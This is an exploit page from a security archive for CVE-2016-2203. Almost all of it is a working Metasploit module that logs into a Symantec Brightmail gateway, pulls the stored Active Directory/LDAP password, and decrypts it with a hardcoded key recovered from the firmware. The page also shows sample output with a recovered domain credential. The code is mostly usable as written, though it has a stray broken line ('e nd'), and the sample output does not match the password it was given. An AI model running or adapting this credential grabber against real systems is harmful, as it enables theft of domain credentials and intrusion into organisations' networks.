exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Symantec Brightmail 10.6.0-7 LDAP Credential Grabber

Symantec Brightmail 10.6.0-7 LDAP Credential Grabber
Posted Apr 21, 2016
Authored by Fakhir Karim Reda

Symantec Brightmail versions 10.6.0-7 and below save the AD password in a place where it can be retrieved.

tags | exploit
advisories | CVE-2016-2203
SHA-256 | 88d3d8221a33175dc392a1dde9b17ac2dce0186a796efa0efdcc5c79c77bb457

Symantec Brightmail 10.6.0-7 LDAP Credential Grabber

Change Mirror Download
# Exploit Title: Symantec Brightmail ldap credential Grabber
# Date: 18/04/2016
# Exploit Author: Fakhir Karim Reda
# Vendor Homepage:
https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year&suid=20160418_00
# Version: 10.6.0-7 and earlier
# Tested on: Linux, Unox Windows
# CVE : CVE-2016-2203



#Symantec Brightmail 10.6.0-7 and earlier save the AD password
somewhere in the product. By having a read account on the gateway we
can recover the AD #ACOUNT/PASSWORD

#indeed the html code contains the encrypted AD password.

#the encryption and decryption part is implemented in Java in the
appliance, by reversing the code we get to know the encryption
algorithm:

#public static String decrypt(String password)
#{
#byte clearText[];
#try{
#PBEKeySpec keySpec = new
PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"{}`~!@#$%^&*()_+-=".toCharArray());
#SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
#SecretKey secretKey = keyFactory.generateSecret(keySpec);
#System.out.println("Encoded key "+ (new String(secretKey.getEncoded())));

#resource (/root/rssi/msfscripts/smgldap.rc)> use (symantec_brightmail_ldapcreds
#resource (/root/rssi/msfscripts/smgldap.rc)> set VHOST 192.16.10.125
#resource (/root/rssi/msfscripts/smgldap.rc)> set PASSWORD P@ass2018&
#PASSWORD => con2015&
#resource (/root/rssi/msfscripts/smgldap.rc)> set USERNAME consult
#USERNAME => consult
#resource (/root/rssi/msfscripts/smgldap.rc)> set RHOST 192.16.10.125
#resource (/root/rssi/msfscripts/smgldap.rc)> run
#[+] 192.16.10.125:443 - Logged in as 'consult' Sid:
#'47E2715B99E4E2DE7741ED9E3FA
#[+] Found login = 'DOM\LDAPSYNC' password = 'NizarFakhir@2014' host #='17
#[*] Auxiliary module execution completed











##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require "base64"
require 'digest'
require "openssl"


class MetasploitModule < Msf::Auxiliary

include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec Messaging Gateway 10 LDAP Creds Graber',
'Description' => %q{
This module will grab the AD account saved in Symantec
Messaging Gateway and then decipher it using the disclosed symantec
pbe key. Note that authentication is required in order to
successfully grab the LDAP credentials, you need at least a read
account. Version 10.6.0-7 and earlier are affected

},
'References' =>
[
['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'],
['CVE','2016-2203'],
['BID','86137']
],

'Author' =>
[
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>'
],
'DefaultOptions' =>
{
'SSL' => true,
'SSLVersion' => 'TLS1',
'RPORT' => 443
},
'License' => MSF_LICENSE,
'DisclosureDate' => "Dec 17 2015"
))
register_options(
[
OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in
seconds', 1]),
Opt::RPORT(443),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with'])
], self.class)
deregister_options('RHOST')
end


def print_status(msg='')
super("#{peer} - #{msg}")
end

def print_good(msg='')
super("#{peer} - #{msg}")
end

def print_error(msg='')
super("#{peer} - #{msg}")
end

def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'LDAP',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)

create_credential_login(login_data)
end

def auth(username, password, sid, last_login)
# Real JSESSIONID cookie
sid2 = ''
res = send_request_cgi({
'method' => 'POST',
'uri' => '/brightmail/login.do',
'headers' => {
'Referer' => "https://#{peer}/brightmail/viewLogin.do",
'Connection' => 'keep-alive'
},
'cookie' => "userLanguageCode=en; userCountryCode=US;
JSESSIONID=#{sid}",
'vars_post' => {
'lastlogin' => last_login,
'userLocale' => '',
'lang' => 'en_US',
'username' => username,
'password' => password,
'loginBtn' => 'Login'
}
})
if res.body =~ /Logged in/
sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
return sid2
end
if res and res.headers['Location']
mlocation = res.headers['Location']
new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
res = send_request_cgi({
'uri' => new_uri,
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
})
sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
return sid2 if res and res.body =~ /Logged in/
end
return false
end

def get_login_data
sid = '' #From cookie
last_login = '' #A hidden field in the login page
res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
if res and !res.get_cookies.empty?
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
end
if res
last_login = res.body.scan(/<input type="hidden"
name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
end
return sid, last_login
end

# Returns the status of the listening port.
#
# @return [Boolean] TrueClass if port open, otherwise FalseClass.

def port_open?
begin
res = send_request_raw({'method' => 'GET', 'uri' => '/'},
datastore['TIMEOUT'])
return true if res
rescue ::Rex::ConnectionRefused
print_status("#{peer} - Connection refused")
return false
rescue ::Rex::ConnectionError
print_error("#{peer} - Connection failed")
return false
rescue ::OpenSSL::SSL::SSLError
print_error("#{peer} - SSL/TLS connection error")
return false
end
end

# Returns the derived key from the password, the salt and the
iteration count number.
#
# @return Array of byte containing the derived key.
def get_derived_key(password, salt, count)
key = password + salt
for i in 0..count-1
key = Digest::MD5.digest(key)
end
kl = key.length
return key[0,8], key[8,kl]
end


# @Return the deciphered password
# Algorithm obtained by reversing the firmware
#
def decrypt(enc_str)
pbe_key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
salt = (Base64.strict_decode64(enc_str[0,12]))
remsg = (Base64.strict_decode64(enc_str[12,enc_str.length]))
(dk, iv) = get_derived_key(pbe_key, salt, 1000)
alg = "des-cbc"
decode_cipher = OpenSSL::Cipher::Cipher.new(alg)
decode_cipher.decrypt
decode_cipher.padding = 0
decode_cipher.key = dk
decode_cipher.iv = iv
plain = decode_cipher.update(remsg)
plain << decode_cipher.final
return plain.gsub(/[\x01-\x08]/,'')
end

def grab_auths(sid,last_login)
token = '' #from hidden input
selected_ldap = '' # from checkbox input
new_uri = '' # redirection
flow_id = '' # id of the flow
folder = '' # symantec folder
res = send_request_cgi({
'method' => 'GET',
'uri' => "/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
'headers' => {
'Referer' =>
"https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
'Connection' => 'keep-alive'
},
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"
})
if res
token = res.body.scan(/<input type="hidden"
name="symantec.brightmail.key.TOKEN" value="(.+)"\/>/).flatten[0] ||
''
selected_ldap = res.body.scan(/<input type="checkbox" value="(.+)"
name="selectedLDAP".+\/>/).flatten[0] || ''
else
return false
end
res = send_request_cgi({
'method' => 'POST',
'uri' => "/brightmail/setting/ldap/LdapWizardFlow$edit.flo",
'headers' => {
'Referer' =>
"https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
'Connection' => 'keep-alive'
},
'cookie' => "userLanguageCode=en; userCountryCode=US;
JSESSIONID=#{sid}; ",
'vars_post' => {
'flowId' => '0',
'userLocale' => '',
'lang' => 'en_US',
'symantec.brightmail.key.TOKEN'=> "#{token}",
'selectedLDAP' => "#{selected_ldap}"
}
})
if res and res.headers['Location']
mlocation = res.headers['Location']
new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]
flow_id = new_uri.scan(/.*\?flowId=(.+)/).flatten[0]
folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0]
else
return false
end
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{folder}",
'headers' => {
'Referer' =>
"https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
'Connection' => 'keep-alive'
},
'cookie' => "userLanguageCode=en; userCountryCode=US;
JSESSIONID=#{sid}; ",
'vars_get' => {
'flowId' => "#{flow_id}",
'userLocale' => '',
'lang' => 'en_US'
}
})
if res and res.code == 200
login = res.body.scan(/<input type="text"
name="userName".*value="(.+)"\/>/).flatten[0] || ''
password = res.body.scan(/<input type="password"
name="password".*value="(.+)"\/>/).flatten[0] || ''
host = res.body.scan(/<input name="host" id="host" type="text"
value="(.+)" class/).flatten[0] || ''
port = res.body.scan(/<input name="port" id="port" type="text"
value="(.+)" class/).flatten[0] || ''
password = decrypt(password)
print_good("Found login = '#{login}' password = '#{password}' host
='#{host}' port = '#{port}' ")
report_cred(ip: host, port: port, user:login, password: password,
proof: res.code.to_s)
end
end

def run_host(ip)
return unless port_open?
sid, last_login = get_login_data
if sid.empty? or last_login.empty?
print_error("#{peer} - Missing required login data. Cannot continue.")
return
end
username = datastore['USERNAME']
password = datastore['PASSWORD']
sid = auth(username, password, sid, last_login)
if not sid
print_error("#{peer} - Unable to login. Cannot continue.")
return
else
print_good("#{peer} - Logged in as '#{username}:#{password}'
Sid: '#{sid}' LastLogin '#{last_login}'")
e nd
grab_auths(sid,last_login)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close